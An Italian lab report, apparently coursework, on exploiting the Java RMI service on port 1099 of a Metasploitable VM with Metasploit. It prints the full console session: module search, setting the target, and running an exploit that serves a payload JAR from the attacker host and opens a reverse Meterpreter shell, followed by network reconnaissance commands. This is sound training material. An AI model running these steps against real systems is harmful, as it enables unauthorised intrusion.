

## Relazione sull'attività di sfruttamento di una vulnerabilità tramite Metasploit

L'obiettivo dell'esercizio è stato quello di sfruttare una vulnerabilità presente sulla porta 1099, relativa al servizio Java RMI della macchina Metasploitable. Attraverso l'uso del framework Metasploit, si richiede di ottenere una sessione **Meterpreter** sulla macchina remota, permettendo così l'accesso per eseguire comandi e raccogliere informazioni di rete.

### Ambiente di lavoro e configurazione:

- **Macchina attaccante (Kali Linux):**
  - Indirizzo IP: **192.168.11.111**
- **Macchina vittima (Metasploitable):**
  - Indirizzo IP: **192.168.11.112**

```
msf6 > search Java RMI

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce  2019-05-22      excellent Yes    Atlassian Crowd p
dkinstall Unauthenticated Plugin Upload RCE
1  exploit/multi/http/crushftp_rce_cve_2023_43177                  2023-08-08      excellent Yes    CrushFTP Unauthen
ticated RCE
2  \ target: Java
3  \ target: Linux Dropper
4  \ target: Windows Dropper
5  exploit/multi/misc/java_jmx_server                             2013-05-22      excellent Yes    Java JMX Server I
nsecure Configuration Java Code Execution
6  auxiliary/scanner/misc/java_jmx_server                         2013-05-22      normal   No     Java JMX Server I
nsecure Endpoint Code Execution Scanner
7  auxiliary/gather/java_rmi_registry                             .               normal   No     Java RMI Registry
Interfaces Enumeration
8  exploit/multi/misc/java_rmi_server                             2011-10-15      excellent Yes    Java RMI Server I
nsecure Default Configuration Java Code Execution
9  \ target: Generic (Java Payload)
10 \ target: Windows x86 (Native Payload)
11 \ target: Linux x86 (Native Payload)
12 \ target: Mac OS X PPC (Native Payload)
13 \ target: Mac OS X x86 (Native Payload)
14 auxiliary/scanner/misc/java_rmi_server                         2011-10-15      normal   No     Java RMI Server I
nsecure Endpoint Code Execution Scanner
15 exploit/multi/browser/java_rmi_connection_impl                 2010-03-31      excellent No     Java RMIConnectio
nImpl Deserialization Privilege Escalation
16 exploit/multi/browser/java_signed_applet                       1997-02-19      excellent No     Java Signed Apple
t Social Engineering Code Execution
17 \ target: Generic (Java Payload)
18 \ target: Windows x86 (Native Payload)
19 \ target: Linux x86 (Native Payload)
20 \ target: Mac OS X PPC (Native Payload)
21 \ target: Mac OS X x86 (Native Payload)
22 exploit/multi/http/jenkins_metaprogramming                     2019-01-08      excellent Yes    Jenkins ACL Bypas
s and Metaprogramming RCE
23 \ target: Unix In-Memory
24 \ target: Java Dropper
25 exploit/linux/misc/jenkins_java_deserialize                    2015-11-18      excellent Yes    Jenkins CLI RMI J
ava Deserialization Vulnerability
26 exploit/linux/http/kibana_timelion_prototype_pollution_rce    2019-10-30      manual   Yes    Kibana Timelion P
```

### Procedura eseguita:

- **Sfruttamento della vulnerabilità:** Utilizzando **Metasploit**, è stato caricato il modulo per il servizio Java RMI sulla porta 1099. Successivamente, è stato configurato l'indirizzo IP della macchina attaccante (192.168.11.111) come **LHOST** e la macchina vittima (192.168.11.112) come **RHOST**. Dopo aver verificato i parametri, l'exploit è stato eseguito con successo, consentendo di ottenere una sessione **Meterpreter** sulla macchina Metasploitable.

```

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set httpdelay 20
httpdelay => 20
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/wBgZ0bRT7xj
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:60527) at 2024-09-27 11:30:02 +0200

meterpreter > ip a
[-] Unknown command: ip. Run the help command for more details.
meterpreter > shell
Process 1 created.
Channel 1 created.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:46:ca:39 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fe80::a00:27ff:fe46:ca39/64 scope link
        valid_lft forever preferred_lft forever

route
Kernel IP routing table
Destination    Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.11.0   *               255.255.255.0   U         0      0      0 eth0

```

- **HTTPDELAY:** Durante l'esecuzione dell'exploit, il valore di **HTTPDELAY** è stato configurato a **20**, per ritardare l'esecuzione di eventuali operazioni HTTP, garantendo una stabilità migliore della sessione Meterpreter.
- **Raccolta delle evidenze:** Una volta ottenuta la sessione *Meterpreter*, sono state eseguite le seguenti operazioni per raccogliere le evidenze richieste:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe46:ca39
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====
```

- **Configurazione di rete:** è stato eseguito il comando *ifconfig* per visualizzare i dettagli della configurazione di rete della macchina vittima, inclusi gli indirizzi IP, gateway, e subnet.
- **Tabella di routing:** il comando *route* ha permesso di ottenere le informazioni sulla tabella di routing della macchina, fornendo dettagli sui percorsi di rete attivi e le relative destinazioni.

### Conclusioni:

L'attività è stata completata con successo, con lo sfruttamento della vulnerabilità del servizio *Java RMI* sulla porta 1099 della macchina Metasploitable. È stata stabilita una connessione remota attraverso Meterpreter, permettendo di raccogliere le informazioni richieste, tra cui la configurazione di rete e la tabella di routing della macchina vittima.